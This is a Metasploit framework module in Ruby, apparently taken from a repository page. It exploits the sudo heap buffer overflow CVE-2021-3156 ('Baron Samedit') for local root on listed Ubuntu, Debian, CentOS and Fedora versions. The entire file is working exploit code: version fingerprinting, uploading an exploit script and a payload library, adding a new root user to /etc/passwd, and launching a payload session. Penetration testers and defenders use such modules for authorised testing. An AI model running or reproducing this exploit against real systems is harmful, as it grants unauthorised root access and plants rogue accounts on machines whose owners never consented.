323 lines
15 KiB
Ruby
323 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'digest/sha2'
|
|
require 'tempfile'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Linux::System
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Sudo Heap-Based Buffer Overflow',
|
|
'Description' => %q{
|
|
A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
|
|
to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
|
|
through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
|
|
implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker
|
|
controlled library which results in it being loaded with the elevated privileges held by sudo.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Qualys', # vulnerability discovery and analysis
|
|
'Spencer McIntyre', # metasploit module
|
|
'bwatters-r7', # metasploit module
|
|
'smashery', # metasploit module
|
|
'blasty <blasty@fail0verflow.com>', # original PoC
|
|
'worawit', # original PoC
|
|
'Alexander Krog' # detailed vulnerability analysis and exploit technique
|
|
],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Platform' => ['unix', 'linux'],
|
|
'References' => [
|
|
['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],
|
|
['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],
|
|
['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],
|
|
['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],
|
|
['CVE', '2021-3156'],
|
|
],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ],
|
|
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 20\.04/ } ],
|
|
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 20\.04/ } ],
|
|
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 19\.04/ } ],
|
|
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { exploit_script: 'nss_generic1', exploit_params: [ 56, 54, 63, 212 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: /^Ubuntu 18\.04/ } ],
|
|
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 18\.04/ } ],
|
|
[ 'Ubuntu 16.04 x64 (sudo v1.8.16, libc v2.23)', { exploit_script: 'nss_u16', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 16\.04/ } ],
|
|
[ 'Ubuntu 14.04 x64 (sudo v1.8.9p5, libc v2.19)', { exploit_script: 'nss_u14', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^Ubuntu 14\.04/ } ],
|
|
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { exploit_script: 'nss_generic1', exploit_params: [ 64, 49, 60, 214 ], exploit_technique: 'nss', lib_needs_space: true, version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
|
|
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28) - alternative', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
|
|
[ 'CentOS 8 x64 (sudo v1.8.25p1, libc v2.28)', { exploit_script: 'nss_generic2', exploit_params: [ ], exploit_technique: 'nss', lib_needs_space: false, version_fingerprint: /^CentOS Linux release 8/ } ],
|
|
[ 'CentOS 7 x64 (sudo v1.8.23, libc v2.17)', { exploit_script: 'userspec_c7', exploit_technique: 'userspec', version_fingerprint: /^CentOS Linux release 7/ } ],
|
|
[ 'CentOS 7 x64 (sudo v1.8.23, libc v2.17) - alternative', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^CentOS Linux release 7/ } ],
|
|
[ 'Fedora 27 x64 (sudo v1.8.21p2, libc v2.26)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 27/ } ],
|
|
[ 'Fedora 26 x64 (sudo v1.8.20p2, libc v2.25)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 26/ } ],
|
|
[ 'Fedora 25 x64 (sudo v1.8.18, libc v2.24)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 25/ } ],
|
|
[ 'Fedora 24 x64 (sudo v1.8.16, libc v2.23)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 24/ } ],
|
|
[ 'Fedora 23 x64 (sudo v1.8.14p3, libc v2.22)', { exploit_script: 'userspec_generic', exploit_technique: 'userspec', version_fingerprint: /^Fedora release 23/ } ],
|
|
[ 'Manual', { exploit_script: 'nss_generic1', exploit_technique: 'nss', lib_needs_space: true } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Arch' => ARCH_X64,
|
|
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
|
|
'DisclosureDate' => '2021-01-26',
|
|
'Notes' => {
|
|
'AKA' => [ 'Baron Samedit' ],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(, *| )){3}\d+/, conditions: %w[TARGET == Manual]),
|
|
OptString.new('NewUser', [ false, 'A username to add as root (if required by exploit target)', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
|
|
OptString.new('NewPassword', [ false, 'A password to add for NewUser (if required by exploit target)' ]),
|
|
])
|
|
|
|
deregister_options('COMPILE')
|
|
end
|
|
|
|
# A password hash that we have confidence that we have inserted into /etc/passwd
|
|
@inserted_password_hash = nil
|
|
|
|
def get_versions
|
|
versions = {}
|
|
output = cmd_exec('sudo --version')
|
|
if output
|
|
version = output.split("\n").first.split(' ').last
|
|
versions[:sudo] = version if version =~ /^\d/
|
|
end
|
|
|
|
versions
|
|
end
|
|
|
|
def check
|
|
sudo_version = get_versions[:sudo]
|
|
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?
|
|
|
|
# fixup the p number used by sudo to be compatible with Rex::Version
|
|
sudo_version.gsub!(/p/, '.')
|
|
|
|
vuln_builds = [
|
|
[Rex::Version.new('1.8.2'), Rex::Version.new('1.8.31.2')],
|
|
[Rex::Version.new('1.9.0'), Rex::Version.new('1.9.5.1')],
|
|
]
|
|
|
|
if sudo_version == '1.8.31'
|
|
# Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
|
|
return CheckCode::Detected("sudo #{sudo_version} may be a vulnerable build.")
|
|
end
|
|
|
|
if vuln_builds.any? { |build_range| Rex::Version.new(sudo_version).between?(*build_range) }
|
|
return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
|
|
end
|
|
|
|
CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
|
write_file path, data
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def get_automatic_targets
|
|
sysinfo = get_sysinfo
|
|
|
|
selected_targets = targets.each_index.select { |index| targets[index].opts[:version_fingerprint]&.match(sysinfo[:version]) }
|
|
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if selected_targets.empty?
|
|
selected_targets
|
|
end
|
|
|
|
def find_exec_program
|
|
return 'python' if command_exists?('python')
|
|
return 'python3' if command_exists?('python3')
|
|
|
|
return false
|
|
end
|
|
|
|
def exploit
|
|
if target.name == 'Automatic'
|
|
resolved_indices = get_automatic_targets
|
|
resolved_target = targets[resolved_indices[0]]
|
|
print_status("Using automatically selected target: #{resolved_target.name}")
|
|
else
|
|
resolved_target = target
|
|
end
|
|
|
|
case resolved_target[:exploit_technique]
|
|
when 'nss'
|
|
exploit_nss(resolved_target)
|
|
when 'userspec'
|
|
exploit_userspec(resolved_target)
|
|
end
|
|
|
|
do_post_exploit_checks
|
|
end
|
|
|
|
def do_post_exploit_checks
|
|
# Just wait a bit; this should come in real fast if it's going to though
|
|
4.times do |_i|
|
|
Rex.sleep(0.5)
|
|
# break if we get the shell
|
|
break if session_created?
|
|
end
|
|
|
|
# Now that everything's done, if we completed the exploit but didn't get a session, inform the user if there are other options available to them
|
|
if !session_created? && (target.name == 'Automatic') && !@inserted_password_hash
|
|
resolved_indices = get_automatic_targets
|
|
if resolved_indices.length > 1
|
|
print_status('')
|
|
print_status('Alternative exploit target(s) exist for this OS version:')
|
|
resolved_indices[1..].each { |index| print_status("#{index}: #{targets[index].name}") }
|
|
print_status('Run `set target <id>` to select an alternative exploit script')
|
|
end
|
|
end
|
|
|
|
if @inserted_password_hash && !session_created?
|
|
print_warning('/etc/passwd overwritten, but no session created.')
|
|
print_warning('Manual cleanup of the new user in the /etc/passwd file is required.')
|
|
print_warning('Take note of the username and password above - these should work to manually escalate privileges.')
|
|
end
|
|
end
|
|
|
|
def on_new_session(new_session)
|
|
super
|
|
# userspec exploits edited /etc/passwd; now that we have a root shell, we can clean that up
|
|
|
|
if @inserted_password_hash
|
|
# We added a line to /etc/passwd
|
|
print_status('Cleaning up /etc/passwd')
|
|
tf = Tempfile.new('meterp')
|
|
tf_out = Tempfile.new('meterp')
|
|
temp_path = tf.path
|
|
new_session.fs.file.download_file(temp_path, '/etc/passwd')
|
|
pw = @inserted_password_hash.to_s
|
|
begin
|
|
f_in = File.open(temp_path, 'rb')
|
|
f_out = File.open(tf_out.path, 'wb')
|
|
f_in.each_line do |line|
|
|
unless line.include?(pw)
|
|
f_out.write(line)
|
|
end
|
|
end
|
|
ensure
|
|
f_out.close
|
|
f_in.close
|
|
end
|
|
|
|
new_session.fs.file.upload_file('/etc/passwd', tf_out.path)
|
|
|
|
begin
|
|
::File.delete(temp_path)
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
begin
|
|
::File.delete(tf_out.path)
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
end
|
|
end
|
|
|
|
def exploit_nss(resolved_target)
|
|
if target.name == 'Manual'
|
|
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
|
|
exploit_params = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
|
|
else
|
|
exploit_params = resolved_target[:exploit_params].join(' ')
|
|
end
|
|
|
|
python_binary = find_exec_program
|
|
|
|
fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
|
|
|
|
vprint_status("Using '#{python_binary}' to run exploit")
|
|
exploit_script = resolved_target[:exploit_script]
|
|
space = resolved_target[:lib_needs_space] ? ' ' : ''
|
|
|
|
path = datastore['WritableDir']
|
|
|
|
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
|
|
lib_file_path = "libnss_#{overwrite_path}#{space}.so.2" # the full path
|
|
|
|
python_script_name = rand_text_alphanumeric(5..10) + '.py'
|
|
upload("#{path}/#{python_script_name}", exploit_data('CVE-2021-3156', "#{exploit_script}.py"))
|
|
register_files_for_cleanup("#{path}/#{python_script_name}")
|
|
mkdir("#{path}/#{lib_file_path.rpartition('/').first}")
|
|
upload("#{path}/#{lib_file_path}", generate_payload_dll)
|
|
cmd = "#{python_binary} #{path}/#{python_script_name} #{exploit_params} #{overwrite_path} #{path}"
|
|
vprint_status("Running #{cmd}")
|
|
cmd_exec(cmd)
|
|
end
|
|
|
|
def exploit_userspec(resolved_target)
|
|
fail_with(Failure::BadConfig, 'The "NewUser" advanced option must be specified for this target') if datastore['NewUser'].blank?
|
|
|
|
python_binary = find_exec_program
|
|
fail_with(Failure::NotFound, 'The python binary was not found') unless python_binary
|
|
vprint_status("Using '#{python_binary}' to run exploit")
|
|
|
|
exploit_script = resolved_target[:exploit_script]
|
|
new_user = datastore['NewUser']
|
|
new_password = datastore['NewPassword']
|
|
new_password ||= rand_text_alpha_lower(15)
|
|
|
|
# Verify that user doesn't already exist (otherwise exploit will succeed but password won't work)
|
|
users = get_users
|
|
user_exists = users.map { |u| u[:name] }.include? new_user
|
|
|
|
fail_with(Failure::BadConfig, "#{new_user} already exists on target system") if user_exists
|
|
|
|
password_hash = new_password.crypt('$6$' + rand(36**8).to_s(36))
|
|
|
|
path = datastore['WritableDir']
|
|
|
|
python_script_name = rand_text_alphanumeric(5..10) + '.py'
|
|
upload("#{path}/#{python_script_name}", exploit_data('CVE-2021-3156', "#{exploit_script}.py"))
|
|
register_files_for_cleanup("#{path}/#{python_script_name}")
|
|
cmd = "#{python_binary} #{path}/#{python_script_name} #{new_user} '#{password_hash}'"
|
|
vprint_status("Running #{cmd}")
|
|
print_status("A successful exploit will create a new root user #{new_user} with password #{new_password}")
|
|
print_status('Brute forcing ASLR (can take several minutes)...')
|
|
output = cmd_exec(cmd, nil, 600)
|
|
if /Success at/ =~ output
|
|
@inserted_password_hash = password_hash
|
|
print_good("Success! Created new user #{new_user} with password #{new_password}")
|
|
elf_name = rand_text_alphanumeric(5..10)
|
|
uploaded_path = "#{path}/#{elf_name}"
|
|
upload(uploaded_path, generate_payload_exe)
|
|
chmod(uploaded_path, 0o555)
|
|
cmd_exec("/bin/bash -c \"echo #{new_password} | su #{new_user} -c #{uploaded_path}&\"")
|
|
elsif /Brute force failed/ =~ output
|
|
print_error('Brute force failed. This can occur 2% of the time even when vulnerable.')
|
|
else
|
|
print_error('Exploit failed - unlikely to succeed')
|
|
end
|
|
end
|
|
|
|
def rand_overwrite_path
|
|
length = 6
|
|
split_pos = rand(length)
|
|
"#{rand_text_alphanumeric(split_pos)}/#{rand_text_alphanumeric(length - split_pos)}"
|
|
end
|
|
end
|